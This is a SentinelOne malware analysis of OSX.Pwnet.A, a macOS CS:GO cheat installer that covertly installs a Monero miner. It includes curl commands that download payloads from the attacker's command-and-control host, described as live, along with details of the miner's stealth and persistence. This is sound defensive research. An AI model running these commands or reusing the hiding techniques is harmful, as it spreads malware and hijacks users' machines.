OSX.Pwnet.A – CS, GO Hack and Sneaky Miner

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OSX.Pwnet.A – CS, GO Hack and Sneaky Miner

Category : Sentinel One

We recently found a hack for Counter-Strike: Global Offensive on macOS that is also a trojan that could mine CryptoCurrencies without user consent.

According to VirusTotal Retrohunt, the threat is in the wild since the beginning of July 2017.

Warning: At the time of this writing, all URLs are live.


The entry point is vlone.cc portal, where a user can RegisterLoginand Download for free the hack installer.

The domain name was registered through eNom in April 2017, 14th, and resolves to a shared web host at namecheap:

$ dig vlone.cc +short
$ dig -x +short 

HTTPS certificate was delivered by COMODO PositiveSSL in June 2017, 27th.

When logged in, members can browse the Prices page and purchase a premium subscription for 1, 3 or 6 months through Selly:

Members download the same archive of the free installer than guests:

$ curl -s https://vlone.cc/portal/download.php | shasum -a 256
b1bdb4502f5051309582f72a62c14d9919d3c86de3dcfa0b3a5f008cb5a018fe -
$ curl -s https://vlone.cc/portal/download.php -G -d user=1234 -d free | shasum -a 256
b1bdb4502f5051309582f72a62c14d9919d3c86de3dcfa0b3a5f008cb5a018fe -

According to the user GET query value, members count in August 2017, 22nd, is nearly two thousand.

We don’t know if the private installer of the hack also installs the mining software without user consent.

Binaries analysis

It’s all C++ Standard Library code. Network connections use libcurland secure HTTPS protocol.

All executables, but the miner CLI, require super-user privileges, so the user must run the installer with sudo:

$ ./vHook 
Root access required!
Please type "sudo ./vhook"

The main binary hides itself as Dynamic Web TWAIN, an online document scanning platform.


vHook is the installer. It is packed with UPX, probably to avoid user analysis and bypass some security products.

It is a command line interface:

$ sudo ./vHook 
[vlone] vHook public [vlone]
Username: USERNAME
Password: PASSWORD
[vlone] Welcome to vHook Public, USERNAME!
[vlone] Downloading vHook assets..
[vlone] Inflating vHook assets..
[vlone] CS:GO is not running!
[vlone] Cleaning up..
[vlone] Quitting...

With a valid member account, it downloads and extracts bootstrap.dylib and vhook.dylib from https://vlone.cc/portal/gateway.php as assets.zip to /Library/Application Support/:

$ curl -s https://vlone.cc/portal/gateway.php -G -d username=USERNAME -d password=PASSWORD -d free | xxd -l 64
00000000: 504b 0304 1400 0000 0800 8696 c14a 9c2e PK...........J..
00000010: 55c2 b606 0000 1827 0000 0f00 1c00 626f U......'......bo
00000020: 6f74 7374 7261 702e 6479 6c69 6255 5409 otstrap.dylibUT.
00000030: 0003 9cb9 2f59 d339 8059 7578 0b00 0104 ..../Y.9.Yux....

It loads bootstrap.dylib from osxinj project. If Counter-Strike: Global Offensive is running, it downloads and extracts some fonts (https://vlone.cc/fontfix.zip as vlone.zip to /Library/Fonts/), and injects vhook.dylib into csgo_osx64 process.

It could be a perfect deal for a CS: GO user, but it turns out vHookalso sneaky downloads and extracts https://vlone.cc/abc/assets/asset.zip as fonts.zip to /var/, changes directory to /var and runs sudo ./helper &.

It then kills Terminal application to hide the detached process output.


helper is the miner downloader dropper. It is also packed with UPX.

It first asks the C&C server for the name of the binary to execute upon download:

$ curl https://www.vlone.cc/abc/commands/update.php?request -F command=newfile

It downloads https://www.vlone.cc/abc/assets/b.zip as /b.zip, extracts its contents to /var/.log/, changes directory to /var/.log/and runs sudo ./com.dynamsoft.WebHelper &.

At the time of this writing, https://www.vlone.cc/abc/assets/b.zipURL response is a File Not Found 404 error code, but https://www.vlone.cc/abc/assets/bz.zip URL is live and send the expected archive.


com.dynamsoft.WebHelper is the miner downloader. Despite the name, it is not related to Dynamsoft.

It starts by downloading and extracting:

  • WebTwainService from https://www.vlone.cc/abc/assets/d.zip to /var/.log/
  • com.dynamsoft.WebTwainService.plist from https://www.vlone.cc/abc/assets/p.zip to /Library/LaunchDaemons/

It loads the daemon, sends computer unique identifier (UUID) and its version to C&C server, and checks if it meetsRequirements(), i.e. running as root and not in a debugger:

$ curl -s https://www.vlone.cc/abc/hub.php?init -F version=1.2.1 -F hwid=$(uuidgen)
created continue

It then sleeps for one hour. If one is in a hurry, he or she can cut out the nap easily:

__text:0000000100016A5F BF 01 00 00 00 mov edi, 1800 ; unsigned int
__text:0000000100016A64 E8 5B 72 00 00 call _sleep

Once rested, it sends commands to C&C server every minute to ask if it should mine and update or kill itself:

$ curl -s https://www.vlone.cc/abc/commands/mine.php?request -F command=mine
$ curl -s https://www.vlone.cc/abc/commands/update.php?request -F command=update
$ curl -s https://www.vlone.cc/abc/commands/kill.php?request -F command=kill

Every minute, it also creates or updates the mining thread to:

  • download and extract https://www.vlone.cc/abc/assets/helper.zip to /var/.trash/.assets/
  • get miner settings (maximum core number, currency, email address)
  • check if Activity Monitor is running
  • check if it is already mining
  • check if it should stop mining
  • run cd /var/.trash/.assets/; ./com.apple.SafariHelperwith appropriate arguments


WebTwainService tries to take care of com.dynamsoft.webhelperpersistency. It is again packed with UPX.

It sets its current directory to /var/.log and runs sudo ./com.dynamsoft.webhelper &, then recursively sleeps for one hour…


com.apple.SafariHelper actually is the official MinerGate CLI v4.04:

$ shasum -a 256 MinerGate-cli-4.04-Mac/minergate-cli com.apple.SafariHelper
b943369a2ae7afb3522f3b1c40c15208bff0444d47d0df476dd585cf9cbf7c10 MinerGate-cli-4.04-Mac/minergate-cli
b943369a2ae7afb3522f3b1c40c15208bff0444d47d0df476dd585cf9cbf7c10 com.apple.SafariHelper

It is written in Qt, so it comes with frameworks:

$ find /private/.trash -type f

It takes as CPU as requested by com.dynamsoft.WebHelper so the user enjoys the delight of computer’s fans background music:

$ ps axu | grep [c]om.apple.SafariHelper
root 474 200.0 0.2 2490592 14204 s000 R+ 3:07AM 3:21.87 ./com.apple.SafariHelper -user pwnedboi@protonmail.com --xmr 2

It this example, it is mining Monero (XMR) with all virtual machine cores (two: 200.0%).

Current MinerGate email address is pwnedboi@protonmail.com, and xxanax420@gmail.com email address was also found hardcoded in another sample.

Maximum core number, CryptoCurrency and email address are provided by com.dynamsoft.WebHelper and the C&C server:

$ curl -s https://www.vlone.cc/abc/commands/mine.php?request -F mine=cores
$ curl -s https://www.vlone.cc/abc/commands/mine.php?request -F mine=coin
$ curl -s https://www.vlone.cc/abc/commands/mine.php?request -F mine=email


Finn and ponies

We didn’t spend too much time reverse engineering vhook.dylib. The source code is available on GitHub and videos of the hack are also available on YouTube here and there.

GitHub owner of the vHook project is fetusfinn (original author is ViKiNG) and we coincidentally found debugger symbols matching Finn username in GitHub’s libvHook.dylib and in all analyzed binaries:

$ for f in github.com/fetusfinn/vHook/libvHook.dylib \
 vHook_unpacked helper_unpacked com.dynamsoft.WebHelper WebTwainService_unpacked
 nm -a "$f" | grep -m 1 Finn
0000000000000000 - 00 0000 SO /Users/Finn/Desktop/c++/vHook/
0000000000000000 - 00 0000 SO /Users/Finn/Downloads/Archive/vloneLoader/
0000000000000000 - 00 0000 SO /Users/Finn/Desktop/pwnednet/pwnednet/installer/installer/
0000000000000000 - 00 0000 SO /Users/Finn/Desktop/pwnednet/pwnednet/pwnednet/
0000000000000000 - 00 0000 SO /Users/Finn/Downloads/WebTwainService/WebTwainService/WebTwainService/

This is how we know Finn’s project name is pwnednet. Shortened to pwnet, it sounds like poney in French, i.e. pony in English and, everybody loves ponies, so here you have OSX.Pwnet.A!

There also is a reference to someone named Jennifer Johansson in Xcode user data:

$ find github.com/fetusfinn/vHook -type f -path "*nnif*"

We didn’t take the time to ask pwned’s boyfriend on Discord if Finnis much into ponies:

But, just in case, here is a Dutch Pony for Finn and her team.

Source: https://sentinelone.com/blog/osx-pwnet-a-csgo-hack-and-sneaky-miner/

Author: Arnaud Abbati

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